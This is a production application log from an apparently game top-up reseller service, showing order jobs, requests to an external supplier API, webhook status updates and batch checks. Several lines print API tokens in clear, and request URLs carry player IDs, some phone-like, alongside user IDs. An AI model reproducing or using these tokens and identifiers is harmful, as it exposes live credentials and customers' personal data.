[2026-03-24 17:06:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"qjQi4V1RCg2Dw5ge2Mjl8ufYyR7umoW6","execution_time":"2026-03-24 17:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oTh-1774360998","operation_id":163881} 
[2026-03-24 17:06:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1488  
[2026-03-24 17:07:46] production.INFO: Constructing job for order: 178979  
[2026-03-24 17:07:48] production.INFO: Handling job for order: 178979  
[2026-03-24 17:07:48] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 17:07:48] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:07:48] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=71a30247-6426-4b0e-a619-c03c17ef585c&Player_ID=0956820770  
[2026-03-24 17:07:48] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=71a30247-6426-4b0e-a619-c03c17ef585c&Player_ID=0956820770","has_body":false} 
[2026-03-24 17:07:49] production.INFO: Operation sent successfully {"operation_id":163886,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-biUQB-1774361269","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 17:07:49"}},"processed_data":{"order_number":"ORD-biUQB-1774361269","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 17:08:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"s4GOYqg1rZfRfspgDNqnJW1xqcxprsnn","execution_time":"2026-03-24 17:08:01"} 
[2026-03-24 17:08:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"s4GOYqg1rZfRfspgDNqnJW1xqcxprsnn","execution_time":"2026-03-24 17:08:01","total_operations":3,"sites_count":2} 
[2026-03-24 17:08:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"s4GOYqg1rZfRfspgDNqnJW1xqcxprsnn","execution_time":"2026-03-24 17:08:01","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-j5G7ZL-1774360319","ORD-DQiB-1774361148"]} 
[2026-03-24 17:08:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"s4GOYqg1rZfRfspgDNqnJW1xqcxprsnn","execution_time":"2026-03-24 17:08:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:08:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"s4GOYqg1rZfRfspgDNqnJW1xqcxprsnn","execution_time":"2026-03-24 17:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 17:08:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"s4GOYqg1rZfRfspgDNqnJW1xqcxprsnn","execution_time":"2026-03-24 17:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DQiB-1774361148","operation_id":163885} 
[2026-03-24 17:08:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"s4GOYqg1rZfRfspgDNqnJW1xqcxprsnn","execution_time":"2026-03-24 17:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:08:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"s4GOYqg1rZfRfspgDNqnJW1xqcxprsnn","execution_time":"2026-03-24 17:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 17:08:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"s4GOYqg1rZfRfspgDNqnJW1xqcxprsnn","execution_time":"2026-03-24 17:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"errors":0} 
[2026-03-24 17:08:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"s4GOYqg1rZfRfspgDNqnJW1xqcxprsnn","execution_time":"2026-03-24 17:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"orders_count":1,"order_ids":["ORD-biUQB-1774361269"]} 
[2026-03-24 17:08:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"s4GOYqg1rZfRfspgDNqnJW1xqcxprsnn","execution_time":"2026-03-24 17:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:08:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"s4GOYqg1rZfRfspgDNqnJW1xqcxprsnn","execution_time":"2026-03-24 17:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"orders_count":1} 
[2026-03-24 17:08:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"s4GOYqg1rZfRfspgDNqnJW1xqcxprsnn","execution_time":"2026-03-24 17:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-biUQB-1774361269","operation_id":163886} 
[2026-03-24 17:08:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"s4GOYqg1rZfRfspgDNqnJW1xqcxprsnn","execution_time":"2026-03-24 17:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-biUQB-1774361269","operation_id":163886,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 17:08:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"s4GOYqg1rZfRfspgDNqnJW1xqcxprsnn","execution_time":"2026-03-24 17:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-biUQB-1774361269","operation_id":163886,"processed":0,"errors":0} 
[2026-03-24 17:08:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"s4GOYqg1rZfRfspgDNqnJW1xqcxprsnn","execution_time":"2026-03-24 17:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-biUQB-1774361269","operation_id":163886} 
[2026-03-24 17:08:02] production.INFO: Constructing job for order: 178980  
[2026-03-24 17:08:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-DQiB-1774361148","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 17:08:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-DQiB-1774361148","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 17:08:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:08:04] production.INFO: SendAcceptReject: Notification queued {"user_id":761,"notification_type":"order_approved","reference_id":178978} 
[2026-03-24 17:08:04] production.INFO: Order updated successfully. Order ID: 178978, Status: completed  
[2026-03-24 17:08:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-DQiB-1774361148","status":"completed","codes_count":0} 
[2026-03-24 17:08:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 761  
[2026-03-24 17:08:04] production.INFO: Handling job for order: 178980  
[2026-03-24 17:08:04] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:08:04] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:08:04] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=e6012dea-bc46-4b8c-8738-96bbbd629650&Player_ID=13140743084  
[2026-03-24 17:08:04] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=e6012dea-bc46-4b8c-8738-96bbbd629650&Player_ID=13140743084","has_body":false} 
[2026-03-24 17:08:05] production.INFO: Operation sent successfully {"operation_id":163887,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-gGc0xxP0-1774361285","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 17:08:05"}},"processed_data":{"order_number":"ORD-gGc0xxP0-1774361285","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 17:08:13] production.INFO: Constructing job for order: 178981  
[2026-03-24 17:08:14] production.INFO: Handling job for order: 178981  
[2026-03-24 17:08:14] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 17:08:14] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:08:14] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/807/params?qty=1&uuid=98d001cc-92a4-4d7f-9b50-36d89d7b40ed&Player_ID=0930320690  
[2026-03-24 17:08:14] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/807/params?qty=1&uuid=98d001cc-92a4-4d7f-9b50-36d89d7b40ed&Player_ID=0930320690","has_body":false} 
[2026-03-24 17:08:15] production.INFO: Operation sent successfully {"operation_id":163888,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Sfr-1774361295","amount":193.81729000000001406078808940947055816650390625,"status":"processing","product":"183.65 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 17:08:15"}},"processed_data":{"order_number":"ORD-Sfr-1774361295","amount":193.81729000000001406078808940947055816650390625,"status":"processing","product":"183.65 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 17:08:46] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-gGc0xxP0-1774361285","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:08:46] production.INFO: Processed webhook data (normalized) {"id":"ORD-gGc0xxP0-1774361285","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:08:46] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:08:46] production.INFO: SendAcceptReject: Notification queued {"user_id":1285,"notification_type":"order_approved","reference_id":178980} 
[2026-03-24 17:08:46] production.INFO: Order updated successfully. Order ID: 178980, Status: completed  
[2026-03-24 17:08:46] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-gGc0xxP0-1774361285","status":"completed","codes_count":0} 
[2026-03-24 17:08:48] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1285  
[2026-03-24 17:09:55] production.INFO: Constructing job for order: 178982  
[2026-03-24 17:09:57] production.INFO: Handling job for order: 178982  
[2026-03-24 17:09:57] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:09:57] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:09:57] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=33aa0548-d060-451e-b0a1-5329fff62ff0&Player_ID=12885428112  
[2026-03-24 17:09:57] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=33aa0548-d060-451e-b0a1-5329fff62ff0&Player_ID=12885428112","has_body":false} 
[2026-03-24 17:09:58] production.INFO: Operation sent successfully {"operation_id":163889,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-J8urJjs-1774361397","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 17:09:58"}},"processed_data":{"order_number":"ORD-J8urJjs-1774361397","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 17:09:59] production.INFO: Constructing job for order: 178983  
[2026-03-24 17:10:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"cwIBWC3Wkgz40DiBRQIOzU4FpVen17qM","execution_time":"2026-03-24 17:10:02"} 
[2026-03-24 17:10:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"cwIBWC3Wkgz40DiBRQIOzU4FpVen17qM","execution_time":"2026-03-24 17:10:02","total_operations":4,"sites_count":2} 
[2026-03-24 17:10:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"cwIBWC3Wkgz40DiBRQIOzU4FpVen17qM","execution_time":"2026-03-24 17:10:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-j5G7ZL-1774360319","ORD-J8urJjs-1774361397"]} 
[2026-03-24 17:10:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"cwIBWC3Wkgz40DiBRQIOzU4FpVen17qM","execution_time":"2026-03-24 17:10:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:10:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"cwIBWC3Wkgz40DiBRQIOzU4FpVen17qM","execution_time":"2026-03-24 17:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 17:10:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cwIBWC3Wkgz40DiBRQIOzU4FpVen17qM","execution_time":"2026-03-24 17:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:10:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cwIBWC3Wkgz40DiBRQIOzU4FpVen17qM","execution_time":"2026-03-24 17:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-J8urJjs-1774361397","operation_id":163889} 
[2026-03-24 17:10:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"cwIBWC3Wkgz40DiBRQIOzU4FpVen17qM","execution_time":"2026-03-24 17:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-J8urJjs-1774361397","operation_id":163889,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 17:10:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"cwIBWC3Wkgz40DiBRQIOzU4FpVen17qM","execution_time":"2026-03-24 17:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-J8urJjs-1774361397","operation_id":163889,"processed":0,"errors":0} 
[2026-03-24 17:10:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"cwIBWC3Wkgz40DiBRQIOzU4FpVen17qM","execution_time":"2026-03-24 17:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-J8urJjs-1774361397","operation_id":163889,"orders_count":2,"order_ids":["ORD-biUQB-1774361269","ORD-Sfr-1774361295"]} 
[2026-03-24 17:10:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"cwIBWC3Wkgz40DiBRQIOzU4FpVen17qM","execution_time":"2026-03-24 17:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-J8urJjs-1774361397","operation_id":163889} 
[2026-03-24 17:10:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"cwIBWC3Wkgz40DiBRQIOzU4FpVen17qM","execution_time":"2026-03-24 17:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-J8urJjs-1774361397","operation_id":163889,"orders_count":2} 
[2026-03-24 17:10:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"cwIBWC3Wkgz40DiBRQIOzU4FpVen17qM","execution_time":"2026-03-24 17:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Sfr-1774361295","operation_id":163888,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 17:10:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"cwIBWC3Wkgz40DiBRQIOzU4FpVen17qM","execution_time":"2026-03-24 17:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Sfr-1774361295","operation_id":163888,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 17:10:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"cwIBWC3Wkgz40DiBRQIOzU4FpVen17qM","execution_time":"2026-03-24 17:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Sfr-1774361295","operation_id":163888,"count":2} 
[2026-03-24 17:10:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"cwIBWC3Wkgz40DiBRQIOzU4FpVen17qM","execution_time":"2026-03-24 17:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Sfr-1774361295","operation_id":163888,"count":2} 
[2026-03-24 17:10:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"cwIBWC3Wkgz40DiBRQIOzU4FpVen17qM","execution_time":"2026-03-24 17:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Sfr-1774361295","operation_id":163888,"user_id":366,"notification_type":"order_approved","reference_id":178979} 
[2026-03-24 17:10:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"cwIBWC3Wkgz40DiBRQIOzU4FpVen17qM","execution_time":"2026-03-24 17:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Sfr-1774361295","operation_id":163888,"user_id":366,"notification_type":"order_approved","reference_id":178981} 
[2026-03-24 17:10:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"cwIBWC3Wkgz40DiBRQIOzU4FpVen17qM","execution_time":"2026-03-24 17:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Sfr-1774361295","operation_id":163888,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 17:10:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"cwIBWC3Wkgz40DiBRQIOzU4FpVen17qM","execution_time":"2026-03-24 17:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Sfr-1774361295","operation_id":163888,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 17:10:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"cwIBWC3Wkgz40DiBRQIOzU4FpVen17qM","execution_time":"2026-03-24 17:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Sfr-1774361295","operation_id":163888,"processed":2,"errors":0} 
[2026-03-24 17:10:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"cwIBWC3Wkgz40DiBRQIOzU4FpVen17qM","execution_time":"2026-03-24 17:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Sfr-1774361295","operation_id":163888,"processed":2,"errors":0} 
[2026-03-24 17:10:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"cwIBWC3Wkgz40DiBRQIOzU4FpVen17qM","execution_time":"2026-03-24 17:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Sfr-1774361295","operation_id":163888} 
[2026-03-24 17:10:02] production.INFO: Executing GetProducts task...  
[2026-03-24 17:10:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 17:10:02] production.INFO: Executing GetProducts task...  
[2026-03-24 17:10:04] production.INFO: async() رجع: true  
[2026-03-24 17:10:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 17:10:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 17:10:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 17:10:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 17:10:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 17:10:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 17:10:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 17:10:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 17:10:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 17:10:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 17:10:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 17:10:06] production.INFO: Handling job for order: 178983  
[2026-03-24 17:10:06] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:10:06] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:10:06] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=a07235c5-a16d-4422-b93c-7d27770cf6d7&Player_ID=12885428112  
[2026-03-24 17:10:06] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=a07235c5-a16d-4422-b93c-7d27770cf6d7&Player_ID=12885428112","has_body":false} 
[2026-03-24 17:10:07] production.INFO: Operation sent successfully {"operation_id":163890,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-MQDGbpa-1774361406","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 17:10:07"}},"processed_data":{"order_number":"ORD-MQDGbpa-1774361406","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 17:10:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 366  
[2026-03-24 17:10:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 366  
[2026-03-24 17:10:23] production.INFO: Constructing job for order: 178984  
[2026-03-24 17:10:25] production.INFO: Handling job for order: 178984  
[2026-03-24 17:10:25] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:10:25] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:10:25] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/564/params?qty=100000&uuid=f6e41f18-6af1-4fc2-8c78-c50d2125ce79&Player_ID=128852137  
[2026-03-24 17:10:25] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/564/params?qty=100000&uuid=f6e41f18-6af1-4fc2-8c78-c50d2125ce79&Player_ID=128852137","has_body":false} 
[2026-03-24 17:10:25] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-J8urJjs-1774361397","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:10:25] production.INFO: Processed webhook data (normalized) {"id":"ORD-J8urJjs-1774361397","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:10:25] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:10:25] production.INFO: SendAcceptReject: Notification queued {"user_id":948,"notification_type":"order_approved","reference_id":178982} 
[2026-03-24 17:10:25] production.INFO: Order updated successfully. Order ID: 178982, Status: completed  
[2026-03-24 17:10:25] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-J8urJjs-1774361397","status":"completed","codes_count":0} 
[2026-03-24 17:10:25] production.INFO: Operation sent successfully {"operation_id":163891,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-hmtDKp9-1774361425","amount":13.7651999999999983259613145492039620876312255859375,"status":"processing","product":"Sugo Amount","game":"Sugo","notes":[],"created_at":"2026-03-24 17:10:25"}},"processed_data":{"order_number":"ORD-hmtDKp9-1774361425","amount":13.7651999999999983259613145492039620876312255859375,"status":"processing","product":"Sugo Amount","game":"Sugo"}} 
[2026-03-24 17:10:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 948  
[2026-03-24 17:10:40] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-MQDGbpa-1774361406","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:10:40] production.INFO: Processed webhook data (normalized) {"id":"ORD-MQDGbpa-1774361406","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:10:40] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:10:40] production.INFO: SendAcceptReject: Notification queued {"user_id":948,"notification_type":"order_approved","reference_id":178983} 
[2026-03-24 17:10:40] production.INFO: Order updated successfully. Order ID: 178983, Status: completed  
[2026-03-24 17:10:40] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-MQDGbpa-1774361406","status":"completed","codes_count":0} 
[2026-03-24 17:10:41] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 948  
[2026-03-24 17:10:48] production.INFO: Constructing job for order: 178985  
[2026-03-24 17:10:48] production.INFO: Constructing job for order: 178986  
[2026-03-24 17:10:50] production.INFO: Handling job for order: 178985  
[2026-03-24 17:10:50] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:10:50] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:10:50] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=59544fee-413e-4e54-9edc-eb4a39912c00&Player_ID=52043131922  
[2026-03-24 17:10:50] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=59544fee-413e-4e54-9edc-eb4a39912c00&Player_ID=52043131922","has_body":false} 
[2026-03-24 17:10:50] production.INFO: Operation sent successfully {"operation_id":163892,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-WlKOrNd-1774361450","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:10:50"}},"processed_data":{"order_number":"ORD-WlKOrNd-1774361450","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 17:10:50] production.INFO: Handling job for order: 178986  
[2026-03-24 17:10:50] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:10:50] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:10:50] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=97c9258a-d96e-4553-af7d-c8a09c730cbe&Player_ID=51948367144  
[2026-03-24 17:10:50] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=97c9258a-d96e-4553-af7d-c8a09c730cbe&Player_ID=51948367144","has_body":false} 
[2026-03-24 17:10:51] production.INFO: Operation sent successfully {"operation_id":163893,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-HXpPu-1774361451","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:10:51"}},"processed_data":{"order_number":"ORD-HXpPu-1774361451","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 17:11:01] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-WlKOrNd-1774361450","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:11:01] production.INFO: Processed webhook data (normalized) {"id":"ORD-WlKOrNd-1774361450","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:11:01] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:11:01] production.INFO: SendAcceptReject: Notification queued {"user_id":1665,"notification_type":"order_approved","reference_id":178985} 
[2026-03-24 17:11:01] production.INFO: Order updated successfully. Order ID: 178985, Status: completed  
[2026-03-24 17:11:01] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-WlKOrNd-1774361450","status":"completed","codes_count":0} 
[2026-03-24 17:11:01] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-HXpPu-1774361451","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:11:01] production.INFO: Processed webhook data (normalized) {"id":"ORD-HXpPu-1774361451","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:11:01] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:11:01] production.INFO: SendAcceptReject: Notification queued {"user_id":1158,"notification_type":"order_approved","reference_id":178986} 
[2026-03-24 17:11:01] production.INFO: Order updated successfully. Order ID: 178986, Status: completed  
